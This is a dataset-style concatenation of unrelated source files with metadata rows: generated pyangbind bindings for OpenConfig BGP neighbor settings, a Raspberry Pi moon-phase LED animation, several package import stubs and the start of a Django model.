"error-string": """enabled must be of a type compatible with boolean""",
"defined-type": "boolean",
"generated-type": """YANGDynClass(base=YANGBool, default=YANGBool("true"), is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=True)""",
}
)
self.__enabled = t
if hasattr(self, "_set"):
self._set()
def _unset_enabled(self):
self.__enabled = YANGDynClass(
base=YANGBool,
default=YANGBool("true"),
is_leaf=True,
yang_name="enabled",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="boolean",
is_config=True,
)
def _get_peer_as(self):
"""
Getter method for peer_as, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/peer_as (oc-inet:as-number)
YANG Description: AS number of the peer.
"""
return self.__peer_as
def _set_peer_as(self, v, load=False):
"""
Setter method for peer_as, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/peer_as (oc-inet:as-number)
If this variable is read-only (config: false) in the
source YANG file, then _set_peer_as is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_peer_as() directly.
YANG Description: AS number of the peer.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=RestrictedClassType(
base_type=long,
restriction_dict={"range": ["0..4294967295"]},
int_size=32,
),
is_leaf=True,
yang_name="peer-as",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-inet:as-number",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """peer_as must be of a type compatible with oc-inet:as-number""",
"defined-type": "oc-inet:as-number",
"generated-type": """YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), is_leaf=True, yang_name="peer-as", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='oc-inet:as-number', is_config=True)""",
}
)
self.__peer_as = t
if hasattr(self, "_set"):
self._set()
def _unset_peer_as(self):
self.__peer_as = YANGDynClass(
base=RestrictedClassType(
base_type=long,
restriction_dict={"range": ["0..4294967295"]},
int_size=32,
),
is_leaf=True,
yang_name="peer-as",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-inet:as-number",
is_config=True,
)
def _get_local_as(self):
"""
Getter method for local_as, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/local_as (oc-inet:as-number)
YANG Description: The local autonomous system number that is to be used
when establishing sessions with the remote peer or peer
group, if this differs from the global BGP router
autonomous system number.
"""
return self.__local_as
def _set_local_as(self, v, load=False):
"""
Setter method for local_as, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/local_as (oc-inet:as-number)
If this variable is read-only (config: false) in the
source YANG file, then _set_local_as is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_local_as() directly.
YANG Description: The local autonomous system number that is to be used
when establishing sessions with the remote peer or peer
group, if this differs from the global BGP router
autonomous system number.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=RestrictedClassType(
base_type=long,
restriction_dict={"range": ["0..4294967295"]},
int_size=32,
),
is_leaf=True,
yang_name="local-as",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-inet:as-number",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """local_as must be of a type compatible with oc-inet:as-number""",
"defined-type": "oc-inet:as-number",
"generated-type": """YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), is_leaf=True, yang_name="local-as", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='oc-inet:as-number', is_config=True)""",
}
)
self.__local_as = t
if hasattr(self, "_set"):
self._set()
def _unset_local_as(self):
self.__local_as = YANGDynClass(
base=RestrictedClassType(
base_type=long,
restriction_dict={"range": ["0..4294967295"]},
int_size=32,
),
is_leaf=True,
yang_name="local-as",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-inet:as-number",
is_config=True,
)
def _get_peer_type(self):
"""
Getter method for peer_type, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/peer_type (oc-bgp-types:peer-type)
YANG Description: Explicitly designate the peer or peer group as internal
(iBGP) or external (eBGP).
"""
return self.__peer_type
def _set_peer_type(self, v, load=False):
"""
Setter method for peer_type, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/peer_type (oc-bgp-types:peer-type)
If this variable is read-only (config: false) in the
source YANG file, then _set_peer_type is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_peer_type() directly.
YANG Description: Explicitly designate the peer or peer group as internal
(iBGP) or external (eBGP).
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=RestrictedClassType(
base_type=six.text_type,
restriction_type="dict_key",
restriction_arg={"INTERNAL": {}, "EXTERNAL": {}},
),
is_leaf=True,
yang_name="peer-type",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-bgp-types:peer-type",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """peer_type must be of a type compatible with oc-bgp-types:peer-type""",
"defined-type": "oc-bgp-types:peer-type",
"generated-type": """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'INTERNAL': {}, 'EXTERNAL': {}},), is_leaf=True, yang_name="peer-type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='oc-bgp-types:peer-type', is_config=True)""",
}
)
self.__peer_type = t
if hasattr(self, "_set"):
self._set()
def _unset_peer_type(self):
self.__peer_type = YANGDynClass(
base=RestrictedClassType(
base_type=six.text_type,
restriction_type="dict_key",
restriction_arg={"INTERNAL": {}, "EXTERNAL": {}},
),
is_leaf=True,
yang_name="peer-type",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-bgp-types:peer-type",
is_config=True,
)
def _get_auth_password(self):
"""
Getter method for auth_password, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/auth_password (oc-types:routing-password)
YANG Description: Configures an MD5 authentication password for use with
neighboring devices.
"""
return self.__auth_password
def _set_auth_password(self, v, load=False):
"""
Setter method for auth_password, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/auth_password (oc-types:routing-password)
If this variable is read-only (config: false) in the
source YANG file, then _set_auth_password is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_auth_password() directly.
YANG Description: Configures an MD5 authentication password for use with
neighboring devices.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=six.text_type,
is_leaf=True,
yang_name="auth-password",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-types:routing-password",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """auth_password must be of a type compatible with oc-types:routing-password""",
"defined-type": "oc-types:routing-password",
"generated-type": """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="auth-password", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='oc-types:routing-password', is_config=True)""",
}
)
self.__auth_password = t
if hasattr(self, "_set"):
self._set()
def _unset_auth_password(self):
self.__auth_password = YANGDynClass(
base=six.text_type,
is_leaf=True,
yang_name="auth-password",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-types:routing-password",
is_config=True,
)
def _get_remove_private_as(self):
"""
Getter method for remove_private_as, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/remove_private_as (oc-bgp-types:remove-private-as-option)
YANG Description: Remove private AS numbers from updates sent to peers - when
this leaf is not specified, the AS_PATH attribute should be
sent to the peer unchanged
"""
return self.__remove_private_as
def _set_remove_private_as(self, v, load=False):
"""
Setter method for remove_private_as, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/remove_private_as (oc-bgp-types:remove-private-as-option)
If this variable is read-only (config: false) in the
source YANG file, then _set_remove_private_as is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_remove_private_as() directly.
YANG Description: Remove private AS numbers from updates sent to peers - when
this leaf is not specified, the AS_PATH attribute should be
sent to the peer unchanged
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=RestrictedClassType(
base_type=six.text_type,
restriction_type="dict_key",
restriction_arg={
"PRIVATE_AS_REMOVE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
"oc-bgp-types:PRIVATE_AS_REMOVE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
"PRIVATE_AS_REPLACE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
"oc-bgp-types:PRIVATE_AS_REPLACE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
},
),
is_leaf=True,
yang_name="remove-private-as",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-bgp-types:remove-private-as-option",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """remove_private_as must be of a type compatible with oc-bgp-types:remove-private-as-option""",
"defined-type": "oc-bgp-types:remove-private-as-option",
"generated-type": """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'PRIVATE_AS_REMOVE_ALL': {'@module': 'openconfig-bgp-types', '@namespace': 'http://openconfig.net/yang/bgp-types'}, 'oc-bgp-types:PRIVATE_AS_REMOVE_ALL': {'@module': 'openconfig-bgp-types', '@namespace': 'http://openconfig.net/yang/bgp-types'}, 'PRIVATE_AS_REPLACE_ALL': {'@module': 'openconfig-bgp-types', '@namespace': 'http://openconfig.net/yang/bgp-types'}, 'oc-bgp-types:PRIVATE_AS_REPLACE_ALL': {'@module': 'openconfig-bgp-types', '@namespace': 'http://openconfig.net/yang/bgp-types'}},), is_leaf=True, yang_name="remove-private-as", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='oc-bgp-types:remove-private-as-option', is_config=True)""",
}
)
self.__remove_private_as = t
if hasattr(self, "_set"):
self._set()
def _unset_remove_private_as(self):
self.__remove_private_as = YANGDynClass(
base=RestrictedClassType(
base_type=six.text_type,
restriction_type="dict_key",
restriction_arg={
"PRIVATE_AS_REMOVE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
"oc-bgp-types:PRIVATE_AS_REMOVE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
"PRIVATE_AS_REPLACE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
"oc-bgp-types:PRIVATE_AS_REPLACE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
},
),
is_leaf=True,
yang_name="remove-private-as",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-bgp-types:remove-private-as-option",
is_config=True,
)
def _get_route_flap_damping(self):
"""
Getter method for route_flap_damping, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/route_flap_damping (boolean)
YANG Description: Enable route flap damping.
"""
return self.__route_flap_damping
def _set_route_flap_damping(self, v, load=False):
"""
Setter method for route_flap_damping, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/route_flap_damping (boolean)
If this variable is read-only (config: false) in the
source YANG file, then _set_route_flap_damping is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_route_flap_damping() directly.
YANG Description: Enable route flap damping.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=YANGBool,
default=YANGBool("false"),
is_leaf=True,
yang_name="route-flap-damping",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="boolean",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """route_flap_damping must be of a type compatible with boolean""",
"defined-type": "boolean",
"generated-type": """YANGDynClass(base=YANGBool, default=YANGBool("false"), is_leaf=True, yang_name="route-flap-damping", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=True)""",
}
)
self.__route_flap_damping = t
if hasattr(self, "_set"):
self._set()
def _unset_route_flap_damping(self):
self.__route_flap_damping = YANGDynClass(
base=YANGBool,
default=YANGBool("false"),
is_leaf=True,
yang_name="route-flap-damping",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="boolean",
is_config=True,
)
def _get_send_community(self):
"""
Getter method for send_community, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/send_community (oc-bgp-types:community-type)
YANG Description: Specify which types of community should be sent to the
neighbor or group. The default is to not send the
community attribute
"""
return self.__send_community
def _set_send_community(self, v, load=False):
"""
Setter method for send_community, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/send_community (oc-bgp-types:community-type)
If this variable is read-only (config: false) in the
source YANG file, then _set_send_community is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_send_community() directly.
YANG Description: Specify which types of community should be sent to the
neighbor or group. The default is to not send the
community attribute
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=RestrictedClassType(
base_type=six.text_type,
restriction_type="dict_key",
restriction_arg={
"STANDARD": {}, "EXTENDED": {}, "BOTH": {}, "NONE": {}
},
),
default=six.text_type("NONE"),
is_leaf=True,
yang_name="send-community",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-bgp-types:community-type",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """send_community must be of a type compatible with oc-bgp-types:community-type""",
"defined-type": "oc-bgp-types:community-type",
"generated-type": """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'STANDARD': {}, 'EXTENDED': {}, 'BOTH': {}, 'NONE': {}},), default=six.text_type("NONE"), is_leaf=True, yang_name="send-community", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='oc-bgp-types:community-type', is_config=True)""",
}
)
self.__send_community = t
if hasattr(self, "_set"):
self._set()
def _unset_send_community(self):
self.__send_community = YANGDynClass(
base=RestrictedClassType(
base_type=six.text_type,
restriction_type="dict_key",
restriction_arg={
"STANDARD": {}, "EXTENDED": {}, "BOTH": {}, "NONE": {}
},
),
default=six.text_type("NONE"),
is_leaf=True,
yang_name="send-community",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-bgp-types:community-type",
is_config=True,
)
def _get_description(self):
"""
Getter method for description, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/description (string)
YANG Description: An optional textual description (intended primarily for use
with a peer or group
"""
return self.__description
def _set_description(self, v, load=False):
"""
Setter method for description, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/description (string)
If this variable is read-only (config: false) in the
source YANG file, then _set_description is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_description() directly.
YANG Description: An optional textual description (intended primarily for use
with a peer or group
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=six.text_type,
is_leaf=True,
yang_name="description",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="string",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """description must be of a type compatible with string""",
"defined-type": "string",
"generated-type": """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="description", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='string', is_config=True)""",
}
)
self.__description = t
if hasattr(self, "_set"):
self._set()
def _unset_description(self):
self.__description = YANGDynClass(
base=six.text_type,
is_leaf=True,
yang_name="description",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="string",
is_config=True,
)
peer_group = __builtin__.property(_get_peer_group, _set_peer_group)
neighbor_address = __builtin__.property(
_get_neighbor_address, _set_neighbor_address
)
enabled = __builtin__.property(_get_enabled, _set_enabled)
peer_as = __builtin__.property(_get_peer_as, _set_peer_as)
local_as = __builtin__.property(_get_local_as, _set_local_as)
peer_type = __builtin__.property(_get_peer_type, _set_peer_type)
auth_password = __builtin__.property(_get_auth_password, _set_auth_password)
remove_private_as = __builtin__.property(
_get_remove_private_as, _set_remove_private_as
)
route_flap_damping = __builtin__.property(
_get_route_flap_damping, _set_route_flap_damping
)
send_community = __builtin__.property(_get_send_community, _set_send_community)
description = __builtin__.property(_get_description, _set_description)
_pyangbind_elements = OrderedDict(
[
("peer_group", peer_group),
("neighbor_address", neighbor_address),
("enabled", enabled),
("peer_as", peer_as),
("local_as", local_as),
("peer_type", peer_type),
("auth_password", auth_password),
("remove_private_as", remove_private_as),
("route_flap_damping", route_flap_damping),
("send_community", send_community),
("description", description),
]
)
| 44.91663
| 1,003
| 0.579527
| 11,748
| 103,443
| 4.886449
| 0.023664
| 0.059053
| 0.04341
| 0.013378
| 0.993468
| 0.989687
| 0.989687
| 0.989687
| 0.989687
| 0.989687
| 0
| 0.017651
| 0.300059
| 103,443
| 2,302
| 1,004
| 44.936142
| 0.775206
| 0.193314
| 0
| 0.880979
| 0
| 0.020022
| 0.328094
| 0.156755
| 0
| 0
| 0
| 0
| 0
| 1
| 0.038932
| false
| 0.021135
| 0.008343
| 0
| 0.079533
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
a58b058a298ec18c30769be4073b662402af976b
| 95
|
py
|
Python
|
n3jet/general/__init__.py
|
JosephPB/n3jet
|
f097c5e829b5f86fc0ce9007c5fa76ea229dfc56
|
[
"MIT"
] | 3
|
2020-06-03T13:50:59.000Z
|
2021-12-01T08:21:34.000Z
|
n3jet/general/__init__.py
|
JosephPB/n3jet
|
f097c5e829b5f86fc0ce9007c5fa76ea229dfc56
|
[
"MIT"
] | 2
|
2021-08-25T16:15:38.000Z
|
2022-02-10T03:36:12.000Z
|
n3jet/general/__init__.py
|
JosephPB/n3jet
|
f097c5e829b5f86fc0ce9007c5fa76ea229dfc56
|
[
"MIT"
] | 1
|
2020-06-12T15:00:56.000Z
|
2020-06-12T15:00:56.000Z
|
from .fks.fks_model_run import FKSModelRun
from .single.single_model_run import SingleModelRun
| 31.666667
| 51
| 0.873684
| 14
| 95
| 5.642857
| 0.571429
| 0.202532
| 0.35443
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.084211
| 95
| 2
| 52
| 47.5
| 0.908046
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
a5a8191e822f2bc0fd397c0d61d8a74757437ac0
| 132
|
py
|
Python
|
keyboards/default/__init__.py
|
AleksZavg/Admin-telegram-bot
|
c671419ba9fd5e93df742ebe9443d72afa4c99aa
|
[
"MIT"
] | null | null | null |
keyboards/default/__init__.py
|
AleksZavg/Admin-telegram-bot
|
c671419ba9fd5e93df742ebe9443d72afa4c99aa
|
[
"MIT"
] | null | null | null |
keyboards/default/__init__.py
|
AleksZavg/Admin-telegram-bot
|
c671419ba9fd5e93df742ebe9443d72afa4c99aa
|
[
"MIT"
] | null | null | null |
from . import after_start
from . import admin_panel
from . import admin_choose_input
from . import yes_no
from . import private_func
| 26.4
| 32
| 0.818182
| 21
| 132
| 4.857143
| 0.571429
| 0.490196
| 0.294118
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.143939
| 132
| 5
| 33
| 26.4
| 0.902655
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
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| 1
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| 1
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| 0
| null | 1
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
a5ad3f03693ac2916f4c4fa9c24a03315c20e510
| 2,724
|
py
|
Python
|
raspberry/moon.py
|
matiasturunen/weatherlog
|
630a0db0be5c29f1aeb8acd84a0903e50aba09dd
|
[
"MIT"
] | null | null | null |
raspberry/moon.py
|
matiasturunen/weatherlog
|
630a0db0be5c29f1aeb8acd84a0903e50aba09dd
|
[
"MIT"
] | null | null | null |
raspberry/moon.py
|
matiasturunen/weatherlog
|
630a0db0be5c29f1aeb8acd84a0903e50aba09dd
|
[
"MIT"
] | null | null | null |
import time
B = (0,5,104)
X = (245,245,15)
class Phase:
pixels = [(0,0,0)] * 64
def __init__(self, d):
self.pixels = d
class Moon:
phases = []
speed = 2
def __init__(self, speed):
self.speed = speed
self.phases.append(Phase([
B,B,X,X,B,B,B,B,
B,X,X,B,B,B,B,B,
X,X,B,B,B,B,B,B,
X,X,B,B,B,B,B,B,
X,X,B,B,B,B,B,B,
X,X,B,B,B,B,B,B,
B,X,X,B,B,B,B,B,
B,B,X,X,B,B,B,B
]))
self.phases.append(Phase([
B,B,X,X,B,B,B,B,
B,X,X,X,B,B,B,B,
X,X,X,X,B,B,B,B,
X,X,X,X,B,B,B,B,
X,X,X,X,B,B,B,B,
X,X,X,X,B,B,B,B,
B,X,X,X,B,B,B,B,
B,B,X,X,B,B,B,B
]))
self.phases.append(Phase([
B,B,X,X,B,B,B,B,
B,X,X,X,X,B,B,B,
X,X,X,X,X,X,B,B,
X,X,X,X,X,X,B,B,
X,X,X,X,X,X,B,B,
X,X,X,X,X,X,B,B,
B,X,X,X,X,B,B,B,
B,B,X,X,B,B,B,B
]))
self.phases.append(Phase([
B,B,X,X,X,X,B,B,
B,X,X,X,X,X,X,B,
X,X,X,X,X,X,X,X,
X,X,X,X,X,X,X,X,
X,X,X,X,X,X,X,X,
X,X,X,X,X,X,X,X,
B,X,X,X,X,X,X,B,
B,B,X,X,X,X,B,B
]))
self.phases.append(Phase([
B,B,B,B,X,X,B,B,
B,B,B,X,X,X,X,B,
B,B,X,X,X,X,X,X,
B,B,X,X,X,X,X,X,
B,B,X,X,X,X,X,X,
B,B,X,X,X,X,X,X,
B,B,B,X,X,X,X,B,
B,B,B,B,X,X,B,B
]))
self.phases.append(Phase([
B,B,B,B,X,X,B,B,
B,B,B,B,X,X,X,B,
B,B,B,B,X,X,X,X,
B,B,B,B,X,X,X,X,
B,B,B,B,X,X,X,X,
B,B,B,B,X,X,X,X,
B,B,B,B,X,X,X,B,
B,B,B,B,X,X,B,B
]))
self.phases.append(Phase([
B,B,B,B,X,X,B,B,
B,B,B,B,B,X,X,B,
B,B,B,B,B,B,X,X,
B,B,B,B,B,B,X,X,
B,B,B,B,B,B,X,X,
B,B,B,B,B,B,X,X,
B,B,B,B,B,X,X,B,
B,B,B,B,X,X,B,B
]))
self.phases.append(Phase([
B,B,B,B,B,B,B,B,
B,B,B,B,B,B,B,B,
B,B,B,B,B,B,B,B,
B,B,B,B,B,B,B,B,
B,B,B,B,B,B,B,B,
B,B,B,B,B,B,B,B,
B,B,B,B,B,B,B,B,
B,B,B,B,B,B,B,B
]))
def play(self, sense):
for phase in self.phases:
sense.set_pixels(phase.pixels)
time.sleep(1/self.speed)
| 24.540541
| 43
| 0.326358
| 599
| 2,724
| 1.469115
| 0.048414
| 0.552273
| 0.627273
| 0.631818
| 0.772727
| 0.772727
| 0.772727
| 0.772727
| 0.772727
| 0.772727
| 0
| 0.013263
| 0.446402
| 2,724
| 110
| 44
| 24.763636
| 0.570292
| 0
| 0
| 0.802083
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.03125
| false
| 0
| 0.010417
| 0
| 0.09375
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
3c1da2281f14ffe83e75cbd05d0b7b6c2a4c1cce
| 117
|
py
|
Python
|
knx_stack/encode/layer/network/__init__.py
|
majamassarini/knx-stack
|
11a9baac6b7600649b5fbca43c93b200b23676b4
|
[
"MIT"
] | 2
|
2021-07-28T07:42:28.000Z
|
2022-01-25T18:56:05.000Z
|
knx_stack/encode/layer/network/__init__.py
|
majamassarini/knx-stack
|
11a9baac6b7600649b5fbca43c93b200b23676b4
|
[
"MIT"
] | 6
|
2021-07-25T21:36:01.000Z
|
2022-02-20T21:11:31.000Z
|
knx_stack/encode/layer/network/__init__.py
|
majamassarini/knx-stack
|
11a9baac6b7600649b5fbca43c93b200b23676b4
|
[
"MIT"
] | null | null | null |
from knx_stack.encode.layer.network import n_data_group
from knx_stack.encode.layer.network import n_data_individual
| 39
| 60
| 0.880342
| 20
| 117
| 4.85
| 0.55
| 0.14433
| 0.247423
| 0.371134
| 0.845361
| 0.845361
| 0.845361
| 0.845361
| 0.845361
| 0
| 0
| 0
| 0.068376
| 117
| 2
| 61
| 58.5
| 0.889908
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 12
|
3c2ba4876c4b008b23121ab06304225dbffb8e95
| 2,039
|
py
|
Python
|
pelayanan/models.py
|
diaksizz/Adisatya
|
1b20e523aede6ab3e8effb1ca63adf72016a6839
|
[
"MIT"
] | null | null | null |
pelayanan/models.py
|
diaksizz/Adisatya
|
1b20e523aede6ab3e8effb1ca63adf72016a6839
|
[
"MIT"
] | 7
|
2021-03-30T14:04:35.000Z
|
2022-01-13T03:07:50.000Z
|
pelayanan/models.py
|
diaksizz/Adisatya
|
1b20e523aede6ab3e8effb1ca63adf72016a6839
|
[
"MIT"
] | null | null | null |
from django.db import models
from master.models import *
from accounts.models import *
from django.contrib.auth.models import User
# Create your models here.
class Pengaduan(models.Model):
client = models.ForeignKey(Client, null=True, on_delete=models.SET_NULL)
